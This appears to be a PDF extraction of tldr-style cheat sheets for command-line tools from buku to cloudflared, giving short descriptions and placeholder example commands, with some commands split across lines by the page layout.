• Open editor to edit a bookmark:

buku --write {{bookmark_id}}

• Remove "search engine" tag from a bookmark:

buku --update {{bookmark_id}} --tag {{-}} {{search engine}}


bundle
Dependency manager for the Ruby programming language.

More information: https://bundler.io/man/bundle.1.html.

• Install all gems defined in the Gemfile expected in the working directory:

bundle install

• Execute a command in the context of the current bundle:

bundle exec {{command}} {{arguments}}

• Update all gems by the rules defined in the Gemfile and regenerate
Gemfile.lock:

bundle update

• Update one or more specific gem(s) defined in the Gemfile:

bundle update {{gem_name}} {{gem_name}}

• Update one or more specific gems(s) defined in the Gemfile but only to the next
patch version:

bundle update --patch {{gem_name}} {{gem_name}}

• Update all gems within the given group in the Gemfile:

bundle update --group {{development}}

• List installed gems in the Gemfile with newer versions available:

bundle outdated

• Create a new gem skeleton:

bundle gem {{gem_name}}


bundler
Dependency manager for the Ruby programming language.

bundler is a common name for the command bundle, but not a command itself.

More information: https://bundler.io/man/bundle.1.html.

• View documentation for the actual command:

tldr bundle
bundletool dump
Command-line tool to manipulate Android Application Bundles.

More information: https://developer.android.com/studio/command-line/bundletool.

• Display the AndroidManifest.xml of the base module:

bundletool dump manifest --bundle={{path/to/bundle.aab}}

• Display a specific value from the AndroidManifest.xml using XPath:

bundletool dump manifest --bundle={{path/to/bundle.aab}} --


xpath={{/manifest/@android:versionCode}}

• Display the AndroidManifest.xml of a specific module:

bundletool dump manifest --bundle={{path/to/bundle.aab}} --


module={{name}}

• Display all the resources in the application bundle:

bundletool dump resources --bundle={{path/to/bundle.aab}}

• Display the configuration for a specific resource:

bundletool dump resources --bundle={{path/to/bundle.aab}} --


resource={{type/name}}

• Display the configuration and values for a specific resource using the ID:

bundletool dump resources --bundle={{path/to/bundle.aab}} --


resource={{0x7f0e013a}} --values

• Display the contents of the bundle configuration file:

bundletool dump config --bundle={{path/to/bundle.aab}}


bundletool validate
Command-line tool to manipulate Android Application Bundles.

More information: https://developer.android.com/studio/command-line/bundletool.

• Verify a bundle and display detailed information about it:

bundletool validate --bundle={{path/to/bundle.aab}}


bundletool
Command-line tool to manipulate Android Application Bundles.

Some subcommands such as bundletool validate have their own usage


documentation.

More information: https://developer.android.com/studio/command-line/bundletool.

• Display help for a subcommand:

bundletool help {{subcommand}}

• Generate APKs from an application bundle (prompts for keystore password):

bundletool build-apks --bundle={{path/to/bundle.aab}} --


ks={{path/to/key.keystore}} --ks-key-alias={{key_alias}} --
output={{path/to/file.apks}}

• Generate APKs from an application bundle giving the keystore password:

bundletool build-apks --bundle={{path/to/bundle.aab}} --


ks={{path/to/key.keystore}} --ks-key-alias={{key_alias}} –ks-
pass={{pass:the_password}} --output={{path/to/file.apks}}

• Generate APKs including only one single APK for universal usage:

bundletool build-apks --bundle={{path/to/bundle.aab}} --


mode={{universal}} --ks={{path/to/key.keystore}} --ks-key-
alias={{key_alias}} --output={{path/to/file.apks}}

• Install the right combination of APKs to an emulator or device:

bundletool install-apks --apks={{path/to/file.apks}}

• Estimate the download size of an application:

bundletool get-size total --apks={{path/to/file.apks}}

• Generate a device specification JSON file for an emulator or device:

bundletool get-device-spec --output={{path/to/file.json}}

• Verify a bundle and display detailed information about it:

bundletool validate --bundle={{path/to/bundle.aab}}


bup
Backup system based on the Git packfile format, providing incremental saves and global
deduplication.

More information: https://github.com/bup/bup.

• Initialize a backup repository in the specified local directory:

bup -d {{path/to/repository}} init

• Prepare a given directory before taking a backup:

bup -d {{path/to/repository}} index {{path/to/directory}}

• Backup a directory to the repository:

bup -d {{path/to/repository}} save -n {{backup_name}} {{path/


to/directory}}

• Show the backup snapshots currently stored in the repository:

bup -d {{path/to/repository}} ls

• Restore a specific backup snapshot to a target directory:

bup -d {{path/to/repository}} restore -C {{path/to/


target_directory}} {{backup_name}}
buzzphrase
Node.js command-line tool to output a random buzzphrase.

More information: https://github.com/atomantic/buzzphrase.

• Generate a string of three random phrases containing an adjective, a past tense


verb and a plural noun:

buzzphrase

• Output a phrase formatted as [i]mperative verb + past tense [v]erb + [a]djective +


plural [N]oun:

buzzphrase {{'{i} {v} {a} {N}'}}

• Output 4 phrases formatted as present participle [V]erb + [a]djective + singular


[n]oun + [f]inal:

buzzphrase {{4 '{V} {a} {n} {f}'}}


bvnc
A GUI tool for browsing for SSH/VNC servers on the local network.

See also: bssh and bshell.

More information: https://linux.extremeoverclocking.com/man/1/bssh.

• Browse for VNC servers:

bvnc

• Browse for SSH servers:

bvnc --ssh

• Browse for both VNC and SSH servers:

bvnc --shell

• Browse for VNC servers in a specified domain:

bvnc --domain={{domain}}
bw
A CLI to access and manage a Bitwarden vault.

More information: https://help.bitwarden.com/article/cli/.

• Log in to a Bitwarden user account:

bw login

• Log out of a Bitwarden user account:

bw logout

• Search and display items from Bitwarden vault:

bw list items --search {{github}}

• Display a particular item from Bitwarden vault:

bw get item {{github}}

• Create a folder in Bitwarden vault:

{{echo -n '{"name":"My Folder1"}' | base64}} | bw create


folder
bzgrep
Find patterns in bzip2 compressed files using grep.

More information: https://manned.org/bzgrep.

• Search for a pattern within a compressed file:

bzgrep "{{search_pattern}}" {{path/to/file}}

• Use extended regular expressions (supports ?, +, {}, () and |), in case-insensitive


mode:

bzgrep --extended-regexp --ignore-case "{{search_pattern}}"


{{path/to/file}}

• Print 3 lines of context around, before, or after each match:

bzgrep --{{context|before-context|after-context}}={{3}}
"{{search_pattern}}" {{path/to/file}}

• Print file name and line number for each match:

bzgrep --with-filename --line-number "{{search_pattern}}"


{{path/to/file}}

• Search for lines matching a pattern, printing only the matched text:

bzgrep --only-matching "{{search_pattern}}" {{path/to/file}}

• Recursively search files in a bzip2 compressed tar archive for a pattern:

bzgrep --recursive "{{search_pattern}}" {{path/to/tar/file}}

• Search stdin for lines that do not match a pattern:

cat {{/path/to/bz/compressed/file}} | bzgrep --invert-match


"{{search_pattern}}"
bzip2
A block-sorting file compressor.

More information: http://bzip.org.

• Compress a file:

bzip2 {{path/to/file_to_compress}}

• Decompress a file:

bzip2 -d {{path/to/compressed_file.bz2}}

• Decompress a file to standard output:

bzip2 -dc {{path/to/compressed_file.bz2}}


c99
Compiles C programs according to the ISO C standard.

More information: https://manned.org/c99.

• Compile source file(s) and create an executable:

c99 {{file.c}}

• Compile source file(s) and create an executable with a custom name:

c99 -o {{executable_name}} {{file.c}}

• Compile source file(s) and create object file(s):

c99 -c {{file.c}}

• Compile source file(s), link with object file(s), and create an executable:

c99 {{file.c}} {{file.o}}


cabal
Command-line interface to the Haskell package infrastructure (Cabal).

Manage Haskell projects and Cabal packages from the Hackage package repository.

More information: https://cabal.readthedocs.io/en/latest/intro.html.

• Search and list packages from Hackage:

cabal list {{search_string}}

• Show information about a package:

cabal info {{package_name}}

• Download and install a package:

cabal install {{package_name}}

• Create a new Haskell project in the current directory:

cabal init

• Build the project in the current directory:

cabal build

• Run tests of the project in the current directory:

cabal test
caddy
A powerful, enterprise-ready, open source web server with automatic HTTPS, written in
Go.

More information: https://caddyserver.com.

• Start Caddy in the foreground:

caddy run

• Start Caddy with the specified Caddyfile:

caddy run --config {{path/to/Caddyfile}}

• Start Caddy in the background:

caddy start

• Stop a background Caddy process:

caddy stop

• Run a simple file server on the specified port with a browsable interface:

caddy file-server --listen :{{8000}} --browse

• Run a reverse proxy server:

caddy reverse-proxy --from :{{80}} --to localhost:{{8000}}


cake
The command-line processor for the CakePHP framework.

More information: https://cakephp.org.

• Display basic information about the current app and available commands:

cake

• Display a list of available routes:

cake routes

• Clear configuration caches:

cake cache clear_all

• Build the metadata cache:

cake schema_cache build --connection {{connection}}

• Clear the metadata cache:

cake schema_cache clear

• Clear a single cache table:

cake schema_cache clear {{table_name}}

• Start a development web server (defaults to port 8765):

cake server

• Start a REPL (interactive shell):

cake console
calendar
Display upcoming events from a calendar file.

More information: https://www.commandlinux.com/man-page/man1/calendar.1.html.

• Show events for today and tomorrow (or the weekend on Friday) from the default
calendar:

calendar

• Look [A]head, showing events for the next 30 days:

calendar -A {{30}}

• Look [B]ack, showing events for the previous 7 days:

calendar -B {{7}}

• Show events from a custom calendar [f]ile:

calendar -f {{path/to/file}}
calibre-server
A server application that can be used to distribute e-books over a network.

Note: e-books must already be imported into the library using the GUI or the
calibredb CLI.

More information: https://manual.calibre-ebook.com/generated/en/calibre-server.html.

• Start a server to distribute e-books. Access at http://localhost:8080:

calibre-server

• Start server on different port. Access at http://localhost:port:

calibre-server --port {{port}}

• Password protect the server:

calibre-server --username {{username}} --password


{{password}}
calibredb
Tool to manipulate the your e-book database.

Part of the Calibre e-book library.

More information: https://manual.calibre-ebook.com/generated/en/calibredb.html.

• List e-books in the library with additional information:

calibredb list

• Search for e-books displaying additional information:

calibredb list --search {{search_term}}

• Search for just ids of e-books:

calibredb search {{search_term}}

• Add one or more e-books to the library:

calibredb add {{file1 file2 …}}

• Recursively add all e-books under a directory to the library:

calibredb add -r {{path/to/directory}}

• Remove one or more e-books from the library. You need the e-book IDs (see
above):

calibredb remove {{id1 id2 …}}


carbon-now
Create beautiful images of code.

More information: https://github.com/mixn/carbon-now-cli.

• Create an image from a file using default settings:

carbon-now {{file}}

• Create an image from a text in clipboard using default settings:

carbon-now --from-clipboard

• Create an image from standard input using default settings:

{{input}} | carbon-now

• Create images interactively for custom settings and optionally save a preset:

carbon-now -i {{file}}

• Create images from previously saved preset:

carbon-now -p {{preset}} {{file}}

• Start at a specified line of text:

carbon-now -s {{line}} {{file}}

• End at a specific line of text:

carbon-now -e {{line}} {{file}}

• Open image in a browser instead of saving:

carbon-now --open {{file}}


cargo build
Compile a local package and all of its dependencies.

More information: https://doc.rust-lang.org/cargo/commands/cargo-build.html.

• Build the package or packages defined by the Cargo.toml manifest file in the
local path:

cargo build

• Build artifacts in release mode, with optimizations:

cargo build --release

• Require that Cargo.lock is up to date:

cargo build --locked

• Build all packages in the workspace:

cargo build --workspace

• Build a specific package:

cargo build --package {{package}}

• Build only the specified binary:

cargo build --bin {{name}}

• Build only the specified test target:

cargo build --test {{testname}}


cargo clippy
A collection of lints to catch common mistakes and improve your Rust code.

More information: https://github.com/rust-lang/rust-clippy.

• Run checks over the code in the current directory:

cargo clippy

• Require that Cargo.lock is up to date:

cargo clippy --locked

• Run checks on all packages in the workspace:

cargo clippy --workspace

• Run checks for a package:

cargo clippy --package {{package}}

• Treat warnings as errors:

cargo clippy -- --deny warnings

• Run checks and ignore warnings:

cargo clippy -- --allow warnings

• Apply Clippy suggestions automatically:

cargo clippy --fix


cargo doc
Build and view Rust package documentation offline.

More information: https://doc.rust-lang.org/cargo/commands/cargo-doc.html.

• Build and view the default package documentation in the browser:

cargo doc --open

• Build documentation without accessing the network:

cargo doc --offline

• View a particular package's documentation:

cargo doc --open --package {{package}}

• View a particular package's documentation offline:

cargo doc --open --offline --package {{package}}


cargo rustc
Compile a Rust package, and pass extra options to the compiler.

More information: https://doc.rust-lang.org/cargo/commands/cargo-rustc.html.

• Build the package or packages defined by the Cargo.toml manifest file in the
current working directory:

cargo rustc

• Build artifacts in release mode, with optimizations:

cargo rustc --release

• Compile with architecture-specific optimizations for the current CPU:

cargo rustc --release -- -C target-cpu=native

• Compile with speed optimization:

cargo rustc -- -C opt-level {{1|2|3}}

• Compile with [s]ize optimization (z also turns off loop vectorization):

cargo rustc -- -C opt-level {{s|z}}

• Check if your package uses unsafe code:

cargo rustc --lib -- -D unsafe-code

• Build a specific package:

cargo rustc --package {{package}}

• Build only the specified binary:

cargo --bin {{name}}


cargo test
Execute the unit and integration tests of a Rust package.

More information: https://doc.rust-lang.org/cargo/commands/cargo-test.html.

• Only run tests containing a specific string in their names:

cargo test {{testname}}

• Set the number of simultaneous running test cases:

cargo test -- --test-threads={{count}}

• Require that Cargo.lock is up to date:

cargo test --locked

• Test artifacts in release mode, with optimizations:

cargo test --release

• Test all packages in the workspace:

cargo test --workspace

• Run tests for a package:

cargo test --package {{package}}

• Run tests without hiding output from test executions:

cargo test -- --nocapture


cargo
Manage Rust projects and their module dependencies (crates).

Some subcommands such as cargo build have their own usage documentation.

More information: https://crates.io/.

• Search for crates:

cargo search {{search_string}}

• Install a crate:

cargo install {{crate_name}}

• List installed crates:

cargo install --list

• Create a new binary or library Rust project in the current directory:

cargo init --{{bin|lib}}

• Create a new binary or library Rust project in the specified directory:

cargo new {{path/to/directory}} --{{bin|lib}}

• Build the Rust project in the current directory:

cargo build

• Build using a specific number of threads (default is the number of CPU cores):

cargo build --jobs {{number_of_threads}}


carp
REPL and build tool for Carp.

More information: https://carp-lang.github.io/carp-docs/Manual.html.

• Start a REPL (interactive shell):

carp

• Start a REPL with a custom prompt:

carp --prompt "{{> }}"

• Build a carp file:

carp -b {{path/to/file.carp}}

• Build and run a file:

carp -x {{path/to/file.carp}}

• Build a file with optimizations enabled:

carp -b --optimize {{path/to/file.carp}}

• Transpile a file to C code:

carp --generate-only {{path/to/file.carp}}


case
Branch based on the value of an expression.

More information: https://manned.org/case.

• Match a variable against string literals to decide which command to run:

case {{$tocount}} in {{words}}) {{wc -w README}}; ;;


{{lines}}) {{wc -l README}}; ;; esac

• Combine patterns with |, use * as a fallback pattern:

case {{$tocount}} in {{[wW]|words}}) {{wc -w README}}; ;;


{{[lL]|lines}}) {{wc -l README}}; ;; *) {{echo "what?"}}; ;;
esac
cat
Print and concatenate files.

More information: https://www.gnu.org/software/coreutils/cat.

• Print the contents of a file to the standard output:

cat {{file}}

• Concatenate several files into the target file:

cat {{file1}} {{file2}} > {{target_file}}

• Append several files into the target file:

cat {{file1}} {{file2}} >> {{target_file}}

• Number all output lines:

cat -n {{file}}

• Display non-printable and whitespace characters (with M- prefix if non-ASCII):

cat -v -t -e {{file}}
cbonsai
Cbonsai is a beautifully random bonsai tree CLI generator.

More information: https://gitlab.com/jallbrit/cbonsai.

• Generate a bonsai in live mode:

cbonsai -l

• Generate a bonsai in infinite mode:

cbonsai -i

• Append a message to the bonsai:

cbonsai -m "{{message}}"

• Display extra information about the bonsai:

cbonsai -v

• Display cbonsai help:

cbonsai -h
ccomps
Decompose graphs into their connected components.

Graphviz filters: acyclic, bcomps, comps, edgepaint, gvcolor, gvpack, mingle,


nop, sccmap, tred, & unflatten.

More information: https://graphviz.org/pdf/ccomps.1.pdf.

• Decompose one or more graphs into their connected components:

ccomps {{path/to/input1.gv}} {{path/to/input2.gv ...}} >


{{path/to/output.gv}}

• Print the number of nodes, edges, and connected components in one or more
graphs:

ccomps -v -s {{path/to/input1.gv}} {{path/to/input2.gv ...}}

• Write each connected component to numbered filenames based on output.gv:

ccomps -x -o {{path/to/output.gv}} {{path/to/input1.gv}}


{{path/to/input2.gv ...}}

• Display help for ccomps:

ccomps -?
cd
Change the current working directory.

More information: https://manned.org/cd.

• Go to the given directory:

cd {{path/to/directory}}

• Go to the home directory of the current user:

cd

• Go up to the parent of the current directory:

cd ..

• Go to the previously chosen directory:

cd -
cdk
A CLI for AWS Cloud Development Kit (CDK).

More information: https://docs.aws.amazon.com/cdk/latest/guide/cli.html.

• List the stacks in the app:

cdk ls

• Synthesize and print the CloudFormation template for the specified stack(s):

cdk synth {{stack_name}}

• Deploy a space-separated list of stacks:

cdk deploy {{stack_name}}

• Destroy a space-separated list of stacks:

cdk destroy {{stack_name}}

• Compare the specified stack with the deployed stack or a local CloudFormation
template:

cdk diff {{stack_name}}

• Create a new CDK project in the current directory for a specified language:

cdk init -l {{language_name}}

• Open the CDK API reference in your browser:

cdk doc
cf
Command-line tool to manage apps and services on Cloud Foundry.

More information: https://docs.cloudfoundry.org.

• Push an app using the default settings:

cf push {{app_name}}

• View the services available from your organization:

cf marketplace

• Create a service instance:

cf create-service {{service}} {{plan}} {{service_name}}

• Connect an application to a service:

cf bind-service {{app_name}} {{service_name}}

• Run a script whose code is included in the app, but runs independently:

cf run-task {{app_name}} "{{script_command}}" --name


{{task_name}}

• Start an interactive SSH session with a VM hosting an app:

cf ssh {{app_name}}

• View a dump of recent app logs:

cf logs {{app_name}} --recent


chars
Display names and codes for various ASCII and Unicode characters and code points.

More information: https://github.com/antifuchs/chars.

• Look up a character by its value:

chars '{{ß}}'

• Look up a character by its Unicode code point:

chars {{U+1F63C}}

• Look up possible characters given an ambiguous code point:

chars {{10}}

• Look up a control character:

chars "{{^C}}"
cheat
Create and view interactive cheat sheets on the command-line.

More information: https://github.com/cheat/cheat.

• Show example usage of a command:

cheat {{command}}

• Edit the cheat sheet for a command:

cheat -e {{command}}

• List the available cheat sheets:

cheat -l

• Search available the cheat sheets for a specified command name:

cheat -s {{command}}

• Get the current cheat version:

cheat -v
Chezmoi
A multi-machine dotfile manager, written in Go.

More information: https://chezmoi.io.

• Initialize chezmoi on your machine:

chezmoi init

• Tell chezmoi to manage a dotfile:

chezmoi add {{path/to/file}}

• Edit the source state of a tracked dotfile:

chezmoi edit {{path/to/file}}

• See changes chezmoi would make:

chezmoi diff

• Apply the changes:

chezmoi -v apply

• Set chezmoi up on another machine by downloading existing dotfiles from a Git


repository:

chezmoi init {{https://example.com/path/to/repository.git}}

• Fetch the latest changes from a remote repository:

chezmoi update
chgrp
Change group ownership of files and directories.

More information: https://www.gnu.org/software/coreutils/chgrp.

• Change the owner group of a file/directory:

chgrp {{group}} {{path/to/file_or_directory}}

• Recursively change the owner group of a directory and its contents:

chgrp -R {{group}} {{path/to/directory}}

• Change the owner group of a symbolic link:

chgrp -h {{group}} {{path/to/symlink}}

• Change the owner group of a file/directory to match a reference file:

chgrp --reference={{path/to/reference_file}} {{path/to/


file_or_directory}}
chisel
Create TCP tunnels. Includes both client and server.

More information: https://github.com/jpillora/chisel.

• Run a Chisel server:

chisel server

• Run a Chisel server listening to a specific port:

chisel server -p {{server_port}}

• Run a chisel server that accepts authenticated connections using username and
password:

chisel server --auth {{username}}:{{password}}

• Connect to a Chisel server and tunnel a specific port to a remote server and port:

chisel client {{server_ip}}:{{server_port}} {{local_port}}:


{{remote_server}}:{{remote_port}}

• Connect to a Chisel server and tunnel a specific host and port to a remote server
and port:

chisel client {{server_ip}}:{{server_port}} {{local_host}}:


{{local_port}}:{{remote_server}}:{{remote_port}}

• Connect to a Chisel server using username and password authentication:

chisel client --auth {{username}}:{{password}} {{server_ip}}:


{{server_port}} {{local_port}}:{{remote_server}}:
{{remote_port}}
chmod
Change the access permissions of a file or directory.

More information: https://www.gnu.org/software/coreutils/chmod.

• Give the [u]ser who owns a file the right to e[x]ecute it:

chmod u+x {{file}}

• Give the [u]ser rights to [r]ead and [w]rite to a file/directory:

chmod u+rw {{file_or_directory}}

• Remove e[x]ecutable rights from the [g]roup:

chmod g-x {{file}}

• Give [a]ll users rights to [r]ead and e[x]ecute:

chmod a+rx {{file}}

• Give [o]thers (not in the file owner's group) the same rights as the [g]roup:

chmod o=g {{file}}

• Remove all rights from [o]thers:

chmod o= {{file}}

• Change permissions recursively giving [g]roup and [o]thers the ability to [w]rite:

chmod -R g+w,o+w {{directory}}

• Recursively give [a]ll users [r]ead permissions to files and e[X]ecute permissions to
sub-directories within a directory:

chmod -R a+rX {{directory}}


choose
A human-friendly and fast alternative to cut and (sometimes) awk.

More information: https://github.com/theryangeary/choose.

• Print the 5th item from a line (starting from 0):

choose {{4}}

• Print the first, 3rd, and 5th item from a line, where items are separated by ':'
instead of whitespace:

choose --field-separator '{{:}}' {{0}} {{2}} {{4}}

• Print everything from the 2nd to 5th item on the line, including the 5th:

choose {{1}}:{{4}}

• Print everything from the 2nd to 5th item on the line, excluding the 5th:

choose --exclusive {{1}}:{{4}}

• Print the beginning of the line to the 3rd item:

choose :{{2}}

• Print all items from the beginning of the line until the 3rd item (exclusive):

choose --exclusive :{{2}}

• Print all items from the 3rd to the end of the line:

choose {{2}}:

• Print the last item from a line:

choose {{-1}}
chown
Change user and group ownership of files and directories.

More information: https://www.gnu.org/software/coreutils/chown.

• Change the owner user of a file/directory:

chown {{user}} {{path/to/file_or_directory}}

• Change the owner user and group of a file/directory:

chown {{user}}:{{group}} {{path/to/file_or_directory}}

• Recursively change the owner of a directory and its contents:

chown -R {{user}} {{path/to/directory}}

• Change the owner of a symbolic link:

chown -h {{user}} {{path/to/symlink}}

• Change the owner of a file/directory to match a reference file:

chown --reference={{path/to/reference_file}} {{path/to/


file_or_directory}}
chroma
Chroma is a general-purpose syntax highlighting library and corresponding command,
for Go.

More information: https://github.com/alecthomas/chroma.

• Highlight a source file with python lexer and output to terminal:

chroma --lexer="{{python}}" {{source_file}}

• Highlight a source file with the Go lexer and output to an HTML file:

chroma --lexer="{{go}}" --formatter="{{html}}"


{{source_file}} > {{html_file}}

• Highlight a source file with the C++ lexer and output to an SVG, using the Monokai
style:

chroma --lexer="{{c++}}" --formatter="{{svg}}" --


syle="{{monokai}}" {{source_file}} > {{svg_file}}
chromium
Open-source web browser from Google.

More information: https://chromium.org.

• Open a file:

chromium {{path/to/file.html}}

• Open a URL:

chromium {{example.com}}

• Open in incognito mode:

chromium --incognito {{example.com}}

• Open in a new window:

chromium --new-window {{example.com}}

• Open in app mode (without toolbars, URL bar, buttons, etc.):

chromium --app='{{https://example.com}}'

• Use a proxy server:

chromium --proxy-server="{{socks5://hostname:66}}"
{{example.com}}
chroot
Run command or interactive shell with special root directory.

More information: https://www.gnu.org/software/coreutils/chroot.

• Run command as new root directory:

chroot {{path/to/new/root}} {{command}}

• Specify user and group (ID or name) to use:

chroot --userspec={{user:group}}
chsh
Change the user's login shell.

More information: https://manned.org/chsh.

• Change the current user's login shell interactively:

chsh

• Change the login shell for a given user to Zsh:

chsh --shell {{/bin/zsh}} {{username}}

• List available shells:

chsh --list-shells
circo
Render an image of a circular network graph from a graphviz file.

Layouts: dot, neato, twopi, circo, fdp, sfdp, osage & patchwork.

More information: https://graphviz.org/doc/info/command.html.

• Render a png image with a filename based on the input filename and output
format (uppercase -O):

circo -T {{png}} -O {{path/to/input.gv}}

• Render a svg image with the specified output filename (lowercase -o):

circo -T {{svg}} -o {{path/to/image.svg}} {{path/to/


input.gv}}

• Render the output in ps, pdf, svg, fig, png, gif, jpg, json, or dot format:

circo -T {{format}} -O {{path/to/input.gv}}

• Render a gif image using stdin and stdout:

echo "{{digraph {this -> that} }}" | circo -T {{gif}} >


{{path/to/image.gif}}

• Display help:

circo -?
circup
The CircuitPython library updater.

More information: https://github.com/adafruit/circup.

• Interactively update modules on a device:

circup update

• Install a new library:

circup install {{library_name}}

• Search for a library:

circup show {{partial_name}}

• List all libraries on a connected device in requirements.txt format:

circup freeze

• Save all libraries on a connected device in the current directory:

circup freeze -r
cksum
Calculates CRC checksums and byte counts of a file.

Note, on old UNIX systems the CRC implementation may differ.

More information: https://www.gnu.org/software/coreutils/cksum.

• Display a 32-bit checksum, size in bytes and filename:

cksum {{path/to/file}}
clamdscan
A command-line virus scanner using the ClamAV Daemon.

More information: https://www.clamav.net.

• Scan a file or directory for vulnerabilities:

clamdscan {{path/to/file_or_directory}}

• Scan data from stdin:

{{command}} | clamdscan -

• Scan the current directory and output only infected files:

clamdscan --infected

• Output the scan report to a log file:

clamdscan --log {{path/to/log_file}}

• Move infected files to a specific directory:

clamdscan --move {{path/to/quarantine_directory}}

• Remove infected files:

clamdscan --remove

• Use multiple threads to scan a directory:

clamdscan --multiscan

• Pass the file descriptor instead of streaming the file to the daemon:

clamdscan --fdpass
clamscan
A command-line virus scanner.

More information: https://www.clamav.net.

• Scan a file for vulnerabilities:

clamscan {{path/to/file}}

• Scan all files recursively in a specific directory:

clamscan -r {{path/to/directory}}

• Scan data from stdin:

{{command}} | clamscan -

• Specify a virus database file or directory of files:

clamscan --database {{path/to/database_file_or_directory}}

• Scan the current directory and output only infected files:

clamscan --infected

• Output the scan report to a log file:

clamscan --log {{path/to/log_file}}

• Move infected files to a specific directory:

clamscan --move {{path/to/quarantine_directory}}

• Remove infected files:

clamscan --remove yes


clang++
Compiles C++ source files.

Part of LLVM.

More information: https://clang.llvm.org.

• Compile a source code file into an executable binary:

clang++ {{path/to/source.cpp}} -o {{path/to/


output_executable}}

• Display (almost) all errors and warnings:

clang++ {{path/to/source.cpp}} -Wall -o {{path/to/


output_executable}}

• Choose a language standard to compile with:

clang++ {{path/to/source.cpp}} -std={{c++20}} -o {{path/to/


output_executable}}

• Include libraries located at a different path than the source file:

clang++ {{path/to/source.cpp}} -o {{path/to/


output_executable}} -I{{path/to/header_path}} -L{{path/to/
library_path}} -l{{path/to/library_name}}

• Compile source code into LLVM Intermediate Representation (IR):

clang++ -S -emit-llvm {{path/to/source.cpp}} -o {{path/to/


output.ll}}
clang-cpp
This command is an alias of clang++.

• View documentation for the original command:

tldr clang++
clang-format
Tool to auto-format C/C++/Java/JavaScript/Objective-C/Protobuf/C# code.

More information: https://clang.llvm.org/docs/ClangFormat.html.

• Format a file and print the result to stdout:

clang-format {{path/to/file}}

• Format a file in-place:

clang-format -i {{path/to/file}}

• Format a file using a predefined coding style:

clang-format --style={{LLVM|Google|Chromium|Mozilla|WebKit}}
{{path/to/file}}

• Format a file using the .clang-format file in one of the parent directories of the
source file:

clang-format --style=file {{path/to/file}}

• Generate a custom .clang-format file:

clang-format --style={{LLVM|Google|Chromium|Mozilla|WebKit}}
--dump-config > {{.clang-format}}
clang-tidy
An LLVM-based C/C++ linter to find style violations, bugs and security flaws through
static analysis.

More information: https://clang.llvm.org/extra/clang-tidy/.

• Run default checks on a source file:

clang-tidy {{path/to/file.cpp}}

• Don't run any checks other than the cppcoreguidelines checks on a file:

clang-tidy {{path/to/file.cpp}} -checks={{-


*,cppcoreguidelines-*}}

• List all available checks:

clang-tidy -checks={{*}} -list-checks

• Specify defines and includes as compilation options (after --):

clang-tidy {{path/to/file.cpp}} -- -I{{my_project/include}} -


D{{definitions}}
clang
Compiler for C, C++, and Objective-C source files. Can be used as a drop-in replacement
for GCC.

More information: https://clang.llvm.org/docs/ClangCommandLineReference.html.

• Compile a source code file into an executable binary:

clang {{input_source.c}} -o {{output_executable}}

• Activate output of all errors and warnings:

clang {{input_source.c}} -Wall -o {{output_executable}}

• Include libraries located at a different path than the source file:

clang {{input_source.c}} -o {{output_executable}} -


I{{header_path}} -L{{library_path}} -l{{library_name}}

• Compile source code into LLVM Intermediate Representation (IR):

clang -S -emit-llvm {{file.c}} -o {{file.ll}}

• Compile source code without linking:

clang -c {{input_source.c}}
clear
Clears the screen of the terminal.

More information: https://manned.org/clear.

• Clear the screen (equivalent to pressing Control-L in Bash shell):

clear

• Clear the screen but keep the terminal's scrollback buffer:

clear -x

• Indicate the type of terminal to clean (defaults to the value of the environment
variable TERM):

clear -T {{type_of_terminal}}

• Show the version of ncurses used by clear:

clear -V
clementine
A modern music player and library organizer.

More information: https://www.clementine-player.org.

• Open Clementine:

clementine

• Start playing a music file:

clementine {{url/or/path/to/file.ext}}

• Toggle between pausing and playing:

clementine --play-pause

• Stop playback:

clementine --stop

• Skip to the next track:

clementine --next

• Skip to the previous track:

clementine --previous

• Load a playlist file:

clementine --load {{path/to/playlist.ext}}

• Play the 5th track in the currently loaded playlist:

clementine --play-track {{5}}


clifm
The command line file manager.

More information: https://github.com/leo-arch/clifm.

• Start CliFM:

clifm

• Open the file or directory whose ELN (entry list number) is 12:

12

• Create a new file and a new directory:

n file dir/

• Search for PDF files in the current directory:

/*.pdf

• Select all PNG files in the current directory:

s *.png

• Remove the previously selected files (use t to send the files to the recycle bin
instead):

r sel

• Display detailed help:

• Exit CliFM:

q
clj
Clojure tool to start a REPL or invoke a specific function with data.

All options can be defined in a deps.edn file.

More information: https://clojure.org/guides/deps_and_cli.

• Start a REPL (interactive shell):

clj

• Execute a function:

clj -X {{namespace/function_name}}

• Run the main function of a specified namespace:

clj -M -m {{namespace}} {{args}}

• Prepare a project by resolving dependencies, downloading libraries, and making /


caching classpaths:

clj -P

• Start an nREPL server with the CIDER middleware:

clj -Sdeps '{:deps {nrepl {:mvn/version "0.7.0"} cider/cider-


nrepl {:mvn/version "0.25.2"}}}' -m nrepl.cmdline --
middleware '["cider.nrepl/cider-middleware"]' --interactive

• Start a REPL for ClojureScript and open a web browser:

clj -Sdeps '{:deps {org.clojure/clojurescript {:mvn/version


"1.10.758"}}}' --main cljs.main --repl
cloc
Count, and compute differences of, lines of source code and comments.

More information: https://github.com/AlDanial/cloc.

• Count all the lines of code in a directory:

cloc {{path/to/directory}}

• Count all the lines of code in a directory, displaying a progress bar during the
counting process:

cloc --progress=1 {{path/to/directory}}

• Compare 2 directory structures and count the differences between them:

cloc --diff {{path/to/directory/one}} {{path/to/directory/


two}}

• Ignore files that are ignored by VCS, such as files specified in .gitignore:

cloc --vcs git {{path/to/directory}}

• Count all the lines of code in a directory, displaying the results for each file instead
of each language:

cloc --by-file {{path/to/directory}}


clockwork-cli
A command-line interface for the Clockwork PHP debugging framework.

More information: https://github.com/ptrofimov/clockwork-cli.

• Monitor Clockwork logs for the current project:

clockwork-cli

• Monitor Clockwork logs for a specific project:

clockwork-cli {{path/to/directory}}

• Monitor Clockwork logs for multiple projects:

clockwork-cli {{path/to/directory1 path/to/directory2 …}}


clojure
This command is an alias of clj.

• View documentation for the original command:

tldr clj
cloudflared
Command-line tool to create a persistent connection to the Cloudflare network.

More information: https://developers.cloudflare.com/argo-tunnel/.

• Authenticate and associate the connection to a domain in the Cloudflare account:

cloudflared tunnel login

• Establish a tunnel to a host in Cloudflare from the local server:

cloudflared tunnel --hostname {{hostname}} localhost:


{{port_number}}

• Establish a tunnel to a host in Cloudflare from the local server, without verifying
the local server's certificate:

cloudflared tunnel --hostname {{hostname}} localhost:


{{port_number}} --no-tls-verify

• Save logs to a file:

cloudflared tunnel --hostname {{hostname}} http://localhost:


{{port_number}} --loglevel {{panic|fatal|error|warn|info|
debug}} --logfile {{path/to/file}}

• Install cloudflared as a system service:

cloudflared service install


cmake
Cross-platform build automation system, that generates recipes for native build
systems.

